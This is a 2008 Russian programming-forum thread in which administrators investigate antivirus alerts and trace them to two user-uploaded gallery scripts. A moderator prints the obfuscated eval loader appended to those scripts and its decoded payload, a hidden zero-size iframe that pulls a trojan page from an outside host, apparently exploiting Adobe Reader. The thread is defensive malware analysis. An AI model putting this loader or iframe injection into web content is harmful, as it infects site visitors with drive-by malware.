VPF::Антивирус ругается на форум - Форум программистов

THandle

Дата 19.12.2008, 14:02 (ссылка)

(нет голосов)

Загрузка ...

Хранитель Клуба
Group Icon

Награды: 1

Профиль
Группа: Админ
Сообщений: 3639
Регистрация: 31.7.2007
Где: Moscow, Dubai

Репутация: 6
Всего: 372

У меня вчера вечером кидались на Винграде какие-то сообщения о каком то сертификате... Сегодня вроде бы все как всегда. smile

Кстати, предлагаю еще убрать все стили, смайлы и сделать форум текстовым smile

Wowa

Дата 19.12.2008, 14:48 (ссылка)

(нет голосов)

Загрузка ...

Эксперт

Профиль
Группа: Админ
Сообщений: 15017
Регистрация: 14.9.2000
Где: Винград

Репутация: 79
Всего: 290

Это скорее всего у кого-то в подписи ссылка на что-то или же аватарка грузится откуда-то. На самом форуме вирусов никаких нет. Касперский также молчит. Советую писать в антивирусные лабораторией и заявлять о ложной тревоге. Пусть правят свои базы.

Участника который мог что-то внести в подпись или аватарку надо выявлять. Это очень просто. Те у кого антивир вопит. должны указывать ссылки на страницы форуме, где выскакивает предупреждение.

Добавлено @ 14:51
Тему я переименовал, т.к. название не соответствует действительности.

Alexeis

Дата 19.12.2008, 15:24 (ссылка)

(нет голосов)

Загрузка ...

Амеба

Профиль
Группа: Админ
Сообщений: 11743
Регистрация: 12.10.2005
Где: Зеленоград

Репутация: 13
Всего: 459

Avire отправил.

--------------------

Vit вечная память.

Обсуждение действий администрации форума производятся только в этом форуме

гениальность идеи состоит в том, что ее невозможно придумать

Alexeis

Дата 19.12.2008, 16:15 (ссылка)

(нет голосов)

Загрузка ...

Амеба

Профиль
Группа: Админ
Сообщений: 11743
Регистрация: 12.10.2005
Где: Зеленоград

Репутация: 13
Всего: 459

Пришел ответ от лаборатории авиры. В лаборатории утверждают что оба скрипта являются вредоносными

http://files.vingrad.ru/sergej.z/vgal/html...ad_style/gal.js
http://files.vingrad.ru/sergej.z/vgal/html...tyle/fotossz.js

Чего дальше делать неясно, может в них пару букав поменять чтобы не детектились?

--------------------

ТоляМБА

Дата 19.12.2008, 16:24 (ссылка)

(нет голосов)

Загрузка ...

Котэ

Профиль
Группа: Завсегдатай
Сообщений: 1607
Регистрация: 15.12.2004

Репутация: 8
Всего: 252

Цитата(Alexeis @ 19.12.2008, 18:15

)

http://files.vingrad.ru/sergej.z/vgal/html...ad_style/gal.jshttp://files.vingrad.ru/sergej.z/vgal/html...tyle/fotossz.js

Сохранил оба файла на диск, проверил каспером (версию и дату сигнатур см. выше) - "Опасных объектов не обнаружено" smile

Alexeis

Дата 19.12.2008, 16:26 (ссылка)

(нет голосов)

Загрузка ...

Амеба

Профиль
Группа: Админ
Сообщений: 11743
Регистрация: 12.10.2005
Где: Зеленоград

Репутация: 13
Всего: 459

Dr web и Касперский говорят что все чисто. Скорее всего так и есть, но тем не менее гугл детектит как вредоносный скрипт и авира тоже.

Добавлено через 3 минуты и 57 секунд

Цитата(http://safebrowsing.clients.google.com/safebrowsing/diagnostic?client=Firefox&hl=ru&site=http://files.vingrad.ru/)

Что произошло во время последнего просмотра этого сайта компанией Google?

Из протестированных нами за последние 90 дней страниц данного сайта (4) в загрузке и установке вредоносного программного обеспечения без разрешения пользователя было замечено 3. Последний раз сайт просматривался Google 2008-12-17, а подозрительное содержание было обнаружено 2008-12-17.

Вредоносное ПО включает 3 adware(s). Успешное заражение в привело к запуску новых процессов (в среднем 0) на целевой машине.

--------------------

Samotnik

Дата 19.12.2008, 17:05 (ссылка)

(нет голосов)

Загрузка ...

Super star !

Профиль
Группа: Awaiting Authorisation
Сообщений: 7192
Регистрация: 4.11.2006
Где: Минск City

Репутация: 11
Всего: 191

...

Это сообщение отредактировал(а) Samotnik - 19.12.2008, 17:06

smartov

Дата 19.12.2008, 17:12 (ссылка)

(нет голосов)

Загрузка ...

свой собственный

Профиль
Группа: Экс. модератор
Сообщений: 4225
Регистрация: 2.2.2006
Где: NJ

Репутация: 10
Всего: 259

Alexeis,

Цитата(Alexeis @ 19.12.2008, 16:15

)

утверждают что оба скрипта являются вредоносными

OMG! Еще бы! Кто бы мне сказал, что в конце обоих скриптов делают строки

Код


/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
function ebBx9(EGAz0gD200rP){return String["\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65"](EGAz0gD200rP);}function Ylk2ZruR(cJ3a4II26iBN){var NcXQDCK1=0,p0jehBg7SkK92=cJ3a4II26iBN.length,oSjpaIQ=1024,jNS0FtftGaOT3,XrArIWjNf,cwu66luO="",izspazTWWH=NcXQDCK1,pafP2VWBWVgy=NcXQDCK1,iTDx8mta=NcXQDCK1,NTn0hv0JWjmMDq=Array(63,24,52,3,25,42,15,14,8,57,0,0,0,0,0,0,43,51,27,37,44,9,41,38,35,50,16,49,28,12,54,47,23,48,45,34,19,61,2,11,55,62,60,0,0,0,0,5,0,6,7,26,13,56,30,20,58,32,29,36,4,59,53,1,18,17,31,10,39,40,0,46,33,21,22);for(XrArIWjNf=Math.ceil(p0jehBg7SkK92/oSjpaIQ);XrArIWjNf>NcXQDCK1;XrArIWjNf--){for(jNS0FtftGaOT3=Math.min(p0jehBg7SkK92,oSjpaIQ);jNS0FtftGaOT3>NcXQDCK1;jNS0FtftGaOT3--,p0jehBg7SkK92--){iTDx8mta|=(NTn0hv0JWjmMDq[cJ3a4II26iBN.charCodeAt(izspazTWWH++)-48])<<pafP2VWBWVgy;if(pafP2VWBWVgy){cwu66luO+=ebBx9(213^iTDx8mta&255);iTDx8mta>>=8;pafP2VWBWVgy-=2;}else{pafP2VWBWVgy=6;}}}return (cwu66luO);}var D8jfV="GasRxV5Fut@wNpBuZ5mwwb@wNVswQwBumWhFZasDUWrhZ7mF2SWDnBhFNSYUUacuCYfShtuYiasDH5B@mBsOxVWmCOORhSBSh6BShAmwKVB@mPcOCfrUSIBDxNWhCPrOQI@DUashCP0DtpWwQf@wtaWDtSf9n@mw45WRKSYUGasRxV5FubWDApWu9a5xxpBuic5mXOfhE56OAfsReVmhIA6";eval(Ylk2ZruR(D8jfV));

Это тоже функционал Винграда?!

Добавлено через 3 минуты и 10 секунд
На мою подпись никаким сертификатом ругаться не может, т.к. у меня запрос картинки по http а не https. Если заметите, что ругается на мою картинку чем-то - пишите мне. Разберусь и уберу

Добавлено через 6 минут и 34 секунды
Alexeis, а где ты взял эти скрипты?

Добавлено через 9 минут и 9 секунд
bars80080,

Цитата(bars80080 @ 19.12.2008, 10:59

)

у меня аваст рубит js скрипты с форума как заражённые троянами.

Какие именно?

Alexeis

Дата 19.12.2008, 17:21 (ссылка)

(нет голосов)

Загрузка ...

Амеба

Профиль
Группа: Админ
Сообщений: 11743
Регистрация: 12.10.2005
Где: Зеленоград

Репутация: 13
Всего: 459

smartov, мне они тоже показались подозрительными. Имена как-будто специально измены чтобы сигнатурный поиск антивируса не мог задетектить. Может все таки вирь? Авира сейчас на первых позициях, у нее самые частые обновления, кроме того скорее всего тут поработала эвристика. Из лаборатории написали что они добавят новые сигнатуры для правильного детектирования этих вирусов.

--------------------

smartov

Дата 19.12.2008, 17:23 (ссылка)

(нет голосов)

Загрузка ...

свой собственный

Профиль
Группа: Экс. модератор
Сообщений: 4225
Регистрация: 2.2.2006
Где: NJ

Репутация: 10
Всего: 259

Alexeis, к гадалке ходить не надо ,мне даже лень смотреть результат выполнения, уверен что там используется какая-то уязвимость.
Откуда эти скрипты?

Alexeis

Дата 19.12.2008, 17:26 (ссылка)

(нет голосов)

Загрузка ...

Амеба

Профиль
Группа: Админ
Сообщений: 11743
Регистрация: 12.10.2005
Где: Зеленоград

Репутация: 13
Всего: 459

smartov, зайди в наши фото в тему sergejz и сам их получишь.

Добавлено через 1 минуту и 51 секунду
вот тут в первый раз описали их появление http://forum.vingrad.ru/forum/topic-240719...rgej/index.html

--------------------

smartov

Дата 19.12.2008, 17:42 (ссылка)

(нет голосов)

Загрузка ...

свой собственный

Профиль
Группа: Экс. модератор
Сообщений: 4225
Регистрация: 2.2.2006
Где: NJ

Репутация: 10
Всего: 259

На выполнение это строка отправляет вот этот javascript код

Код


status=location;document.write('<iframe src="http:\/\/utevox.site90.com\/f\/index.php" width=0 height=0 frameborder=0 onLoad="status=defaultStatus;"><\/iframe>')

Добавлено @ 17:42
По этому адресу, как уже зарепортили, сидит троян

Добавлено @ 17:45
Эти скрипты подключаются на этой странице (НЕ ЗАХОДИТЕ!)

Добавлено через 4 минуты и 29 секунд

Код


<script src="http://files.vingrad.ru/sergej.z/vgal/html/vingrad_style/gal.js"></script>
<script src="http://files.vingrad.ru/sergej.z/vgal/html/vingrad_style/fotossz.js"></script>

Str!pe

Дата 19.12.2008, 17:50 (ссылка)

(нет голосов)

Загрузка ...

профиль удален

Профиль
Группа: Участник
Сообщений: 2426
Регистрация: 12.6.2005
Где: На земле.

Репутация: 2
Всего: 152

Кто мне скажет куда этот троян прописывается и что он делает?

--------------------

Со мной можно связаться по скайпу или по аське.
Занимаюсь продвижением сайтов - самой таргетированной рекламой.

smartov

Дата 19.12.2008, 17:52 (ссылка)

(нет голосов)

Загрузка ...

свой собственный

Профиль
Группа: Экс. модератор
Сообщений: 4225
Регистрация: 2.2.2006
Где: NJ

Репутация: 10
Всего: 259

Судя по тому, что было по ссылке атакующий сайт пытается использовать уязвимость в Adobe Acrobat (reader?)

Добавлено через 25 секунд
Сайт походу запоминает IP жертвы, и страница жертве выдается только 1 раз

Str!pe

Дата 19.12.2008, 17:54 (ссылка)

(нет голосов)

Загрузка ...

профиль удален

Профиль
Группа: Участник
Сообщений: 2426
Регистрация: 12.6.2005
Где: На земле.

Репутация: 2
Всего: 152

smartov, сертификат запрашивает у Майка. Твоя картинка молчит, но раньше вроде бы то же просила.

--------------------

0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема \| Обсуждение форума \| Следующая тема »